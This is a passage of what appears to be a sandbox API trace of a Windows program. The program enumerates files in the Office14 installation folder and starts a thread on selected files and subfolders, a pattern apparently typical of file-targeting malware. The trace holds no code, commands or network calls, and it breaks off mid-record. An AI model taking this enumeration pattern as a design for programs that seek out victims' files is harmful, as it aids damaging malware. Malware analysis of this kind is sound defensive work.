wcscmp (_String1="FRENCH.LNG", _String2="..") returned 1 [0065.677] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418de8 [0065.677] wcscpy (in: _Dest=0x418de8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.677] wcscat (in: _Dest=0x418de8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.677] wcscat (in: _Dest=0x418de8, _Source="FRENCH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" [0065.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f0 [0065.678] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0065.678] wcscmp (_String1="GANTT.DLL", _String2=".") returned 1 [0065.678] wcscmp (_String1="GANTT.DLL", _String2="..") returned 1 [0065.678] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0065.678] wcscmp (_String1="GFX.DLL", _String2=".") returned 1 [0065.678] wcscmp (_String1="GFX.DLL", _String2="..") returned 1 [0065.678] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0065.678] wcscmp (_String1="GKExcel.dll", _String2=".") returned 1 [0065.678] wcscmp (_String1="GKExcel.dll", _String2="..") returned 1 [0065.678] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1 [0065.678] wcscmp (_String1="GKPowerPoint.dll", _String2=".") returned 1 [0065.678] wcscmp (_String1="GKPowerPoint.dll", _String2="..") returned 1 [0065.678] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0065.679] wcscmp (_String1="GKWord.dll", _String2=".") returned 1 [0065.679] wcscmp (_String1="GKWord.dll", _String2="..") returned 1 [0065.679] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0065.679] wcscmp (_String1="GRAPH.EXE", _String2=".") returned 1 [0065.679] wcscmp (_String1="GRAPH.EXE", _String2="..") returned 1 [0065.679] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1 [0065.679] wcscmp (_String1="Graph.exe.manifest", _String2=".") returned 1 [0065.679] wcscmp (_String1="Graph.exe.manifest", _String2="..") returned 1 [0065.679] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8ff8 [0065.679] wcscpy (in: _Dest=0x96f8ff8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.679] wcscat (in: _Dest=0x96f8ff8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.679] wcscat (in: _Dest=0x96f8ff8, _Source="Graph.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" [0065.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4 [0065.680] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0065.680] wcscmp (_String1="GRAPH.ICO", _String2=".") returned 1 [0065.680] wcscmp (_String1="GRAPH.ICO", _String2="..") returned 1 [0065.680] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0065.680] wcscmp (_String1="Groove", _String2=".") returned 1 [0065.680] wcscmp (_String1="Groove", _String2="..") returned 1 [0065.680] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c400 [0065.680] wcscpy (in: _Dest=0x43c400, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.680] wcscat (in: _Dest=0x43c400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.680] wcscat (in: _Dest=0x43c400, _Source="Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0065.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43c400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f8 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0065.682] wcscmp (_String1="GROOVE.EXE", _String2=".") returned 1 [0065.682] wcscmp (_String1="GROOVE.EXE", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0065.682] wcscmp (_String1="GROOVEEX.DLL", _String2=".") returned 1 [0065.682] wcscmp (_String1="GROOVEEX.DLL", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0065.682] wcscmp (_String1="GROOVEMN.EXE", _String2=".") returned 1 [0065.682] wcscmp (_String1="GROOVEMN.EXE", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0065.682] wcscmp (_String1="HVAC.DLL", _String2=".") returned 1 [0065.682] wcscmp (_String1="HVAC.DLL", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0065.682] wcscmp (_String1="IEAWSDC.DLL", _String2=".") returned 1 [0065.682] wcscmp (_String1="IEAWSDC.DLL", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0065.682] wcscmp (_String1="IEContentService.exe", _String2=".") returned 1 [0065.682] wcscmp (_String1="IEContentService.exe", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0065.682] wcscmp (_String1="IMCOMMON.DLL", _String2=".") returned 1 [0065.682] wcscmp (_String1="IMCOMMON.DLL", _String2="..") returned 1 [0065.682] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0065.683] wcscmp (_String1="IMDIMP.ADD", _String2=".") returned 1 [0065.683] wcscmp (_String1="IMDIMP.ADD", _String2="..") returned 1 [0065.683] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4195e0 [0065.683] wcscpy (in: _Dest=0x4195e0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.683] wcscat (in: _Dest=0x4195e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.683] wcscat (in: _Dest=0x4195e0, _Source="IMDIMP.ADD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" [0065.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4195e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15fc [0065.684] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0065.684] wcscmp (_String1="IMPMAIL.DLL", _String2=".") returned 1 [0065.684] wcscmp (_String1="IMPMAIL.DLL", _String2="..") returned 1 [0065.684] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0065.684] wcscmp (_String1="IMUTIL.DLL", _String2=".") returned 1 [0065.684] wcscmp (_String1="IMUTIL.DLL", _String2="..") returned 1 [0065.684] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0065.684] wcscmp (_String1="IMWDD.DLL", _String2=".") returned 1 [0065.684] wcscmp (_String1="IMWDD.DLL", _String2="..") returned 1 [0065.684] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0065.684] wcscmp (_String1="IMWIZ.DLL", _String2=".") returned 1 [0065.684] wcscmp (_String1="IMWIZ.DLL", _String2="..") returned 1 [0065.684] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0065.684] wcscmp (_String1="INFOPATH.EXE", _String2=".") returned 1 [0065.684] wcscmp (_String1="INFOPATH.EXE", _String2="..") returned 1 [0065.684] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1 [0065.684] wcscmp (_String1="InfoPathOM", _String2=".") returned 1 [0065.684] wcscmp (_String1="InfoPathOM", _String2="..") returned 1 [0065.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4194f0 [0065.684] wcscpy (in: _Dest=0x4194f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.685] wcscat (in: _Dest=0x4194f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.685] wcscat (in: _Dest=0x4194f0, _Source="InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0065.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4194f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1600 [0065.686] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0065.686] wcscmp (_String1="INLAUNCH.DLL", _String2=".") returned 1 [0065.686] wcscmp (_String1="INLAUNCH.DLL", _String2="..") returned 1 [0065.686] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0065.686] wcscmp (_String1="Installed_resources14.xss", _String2=".") returned 1 [0065.686] wcscmp (_String1="Installed_resources14.xss", _String2="..") returned 1 [0065.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x438d70 [0065.686] wcscpy (in: _Dest=0x438d70, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.686] wcscat (in: _Dest=0x438d70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.686] wcscat (in: _Dest=0x438d70, _Source="Installed_resources14.xss" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" [0065.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1604 [0065.687] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0065.687] wcscmp (_String1="Installed_schemas14.xss", _String2=".") returned 1 [0065.687] wcscmp (_String1="Installed_schemas14.xss", _String2="..") returned 1 [0065.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e2b638 [0065.687] wcscpy (in: _Dest=0x12e2b638, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.687] wcscat (in: _Dest=0x12e2b638, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.687] wcscat (in: _Dest=0x12e2b638, _Source="Installed_schemas14.xss" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" [0065.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1608 [0065.689] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0065.689] wcscmp (_String1="INTLDATE.DLL", _String2=".") returned 1 [0065.689] wcscmp (_String1="INTLDATE.DLL", _String2="..") returned 1 [0065.689] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0065.689] wcscmp (_String1="IPDESIGN.DLL", _String2=".") returned 1 [0065.689] wcscmp (_String1="IPDESIGN.DLL", _String2="..") returned 1 [0065.689] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0065.689] wcscmp (_String1="IPEDITOR.DLL", _String2=".") returned 1 [0065.689] wcscmp (_String1="IPEDITOR.DLL", _String2="..") returned 1 [0065.689] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, 